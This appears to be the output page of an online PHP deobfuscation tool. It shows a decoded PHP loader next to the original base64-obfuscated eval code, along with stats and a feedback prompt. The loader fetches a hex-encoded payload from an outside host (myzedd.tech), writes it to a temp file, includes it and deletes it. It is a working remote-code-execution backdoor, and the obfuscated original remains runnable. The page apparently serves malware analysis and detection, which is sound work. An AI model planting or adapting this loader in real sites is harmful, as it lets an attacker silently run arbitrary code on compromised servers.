Decoded Output
Download<?php
/* */
$URL = 'https://myzedd.tech/project/download3';
$ = parse_url($URL);
$ = $['host'];
$ = isset($['path']) ? $['path'] : '/';
$ = ($['scheme'] == 'https') ? 443 : 80;
$ = ($ == 443) ? 'ssl://' : '';
$ = @fsockopen($ . $, $, $, $, 30);
if ($) {
fwrite($, "GET $ HTTP/1.1
Host: $
User-Agent: Mozilla/5.0
Connection: Close
");
$ = '';
while (!feof($)) $ .= fread($, 8192);
fclose($);
$ = explode("
", $, 2);
$ = isset($[1]) ? trim($[1]) : '';
if ($ && strlen($) > 10 && ctype_xdigit($)) {
$PHP = hex2bin($);
if ($PHP) {
$ = sys_get_temp_dir() . '/' . uniqid() . '.php';
file_put_contents($, $PHP);
include($);
unlink($);
}
}
}
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| parse_url | 1 |
|---|---|
| base64_decode | 1 |
Variables
| $URL | https://myzedd.tech/project/download3 |
|---|
Stats
| MD5 | fb5b14c68f172b47 |
|---|---|
| Eval Count | 1 |
| Decode Time | 132 ms |
Original Code
<?php
eval(base64_decode('77u/PD9waHANCi8qIOeZ'.'vumsvOWknOW'.'utCDkv67mraPniYggKi8NCiR'.'VUkwgPSAnaHR0cH'.'M6Ly9teX'.'plZGQudGVjaC9wcm9qZWN0L2'.'Rvd25sb2FkMy'.'c7DQok6Kej5p6QI'.'D0gcGFyc2VfdXJsKCRVUk'.'wpOw0KJOODm+OCueO'.'DiCA9ICTop6PmnpBb'.'J2hvc3QnXTs'.'NCiTjg5Hjgr'.'kgPSBpc3NldCgk6Kej5p6QW'.'ydwYXRoJ10pI'.'D8gJOino+aekFsncGF'.'0aCddIDogJy8nOw0KJOO'.'DneODvOODiCA'.'9ICgk6Kej5p6'.'QWydzY2hlbWUnXSA9PSAna'.'HR0cHMnKSA/IDQ0'.'MyA6IDgwOw0K'.'JOODl+ODreODiOOCs+ODq'.'yA9ICgk44Od44O844OIID'.'09IDQ0MykgPyAnc3NsOi'.'8vJyA6ICc'.'nOw0KDQok44K9'.'44Kx44OD44OIID0gQGZzb2N'.'rb3Blbigk44OX44Ot44O'.'I44Kz44OrIC4gJO'.'ODm+OCueODiCwgJOO'.'DneODvOO'.'DiCwgJOOCqOODq'.'eODvOeVquWPtywgJOOCqOOD'.'qeODvOaWhyw'.'gMzApOw0KaWYgK'.'CTjgr3jg'.'rHjg4Pjg4gpIHsNCi'.'AgICBmd3JpdGUoJOOCveOCs'.'eODg+ODiCwgIkdFV'.'CAk44OR44K5IEhUVFAvMS'.'4xXHJcbk'.'hvc3Q6ICTjg5v'.'jgrnjg4hcclxuVXN'.'lci1BZ2V'.'udDogTW96aWxsYS81'.'LjBcclxuQ2'.'9ubmVjdGlvbjogQ'.'2xvc2VcclxuXHJ'.'cbiIpOw0KICAgICTjg6zj'.'grnjg53jg7'.'PjgrkgPSAnJzs'.'NCiAgICB3aGlsZSAo'.'IWZlb2YoJOOCveOCseODg+O'.'DiCkpICTjg6zjg'.'rnjg53jg7Pjgrk'.'gLj0gZnJlYWQoJOOCveO'.'CseODg+ODiC'.'wgODE5Mik'.'7DQogICAgZmNs'.'b3NlKCTjgr3jgrHjg4Pjg4'.'gpOw0KICAgI'.'A0KICAgI'.'CTliIblibI'.'gPSBleHBsb2RlKC'.'JcclxuXHJcbiIsICTjg6zjg'.'rnjg53jg7PjgrksID'.'IpOw0KICAgICTl'.'jYHlha3pgLLmlbAgPSBpc3'.'NldCgk5YiG5YmyWzFdKSA/I'.'HRyaW0oJOWIhuWJs'.'lsxXSkgOiA'.'nJzsNCiAgICANC'.'iAgICBpZiAoJOWNge'.'WFremAsuaVsCAmJiB'.'zdHJsZW4'.'oJOWNgeW'.'FremAsuaVsC'.'kgPiAxMCAmJiBjdHlwZV94'.'ZGlnaXQoJOWNgeWFrem'.'AsuaVsCkpIHsNCiA'.'gICAgICAgJFBIUOOCs+O'.'DvOODiSA9'.'IGhleDJiaW4oJOWNg'.'eWFremAsuaVsCk7DQogICAgI'.'CAgIGlmICgkUEhQ44Kz44'.'O844OJKS'.'B7DQogICAgICAgICAgI'.'CAk5LiA5pmC44OV44Kh4'.'4Kk44OrID0gc3lzX2dldF'.'90ZW1wX2RpcigpI'.'C4gJy8nIC4gdW5pcWlkKCkgL'.'iAnLnBocCc7DQ'.'ogICAgICAgICAgICBmaWxl'.'X3B1dF9jb250ZW50c'.'ygk5LiA5pm'.'C44OV44Kh44Kk44OrLCA'.'kUEhQ44Kz44O8'.'44OJKTsNCiAgICAgI'.'CAgICAgIGluY2x1ZGUoJO'.'S4gOaZguOD'.'leOCoeOCpOODqyk7DQog'.'ICAgICAgICAg'.'ICB1bmxpbmso'.'JOS4gOaZguODleOCoeOC'.'pOODqyk7DQogICAgICAgIH0N'.'CiAgICB9DQp9'));
?>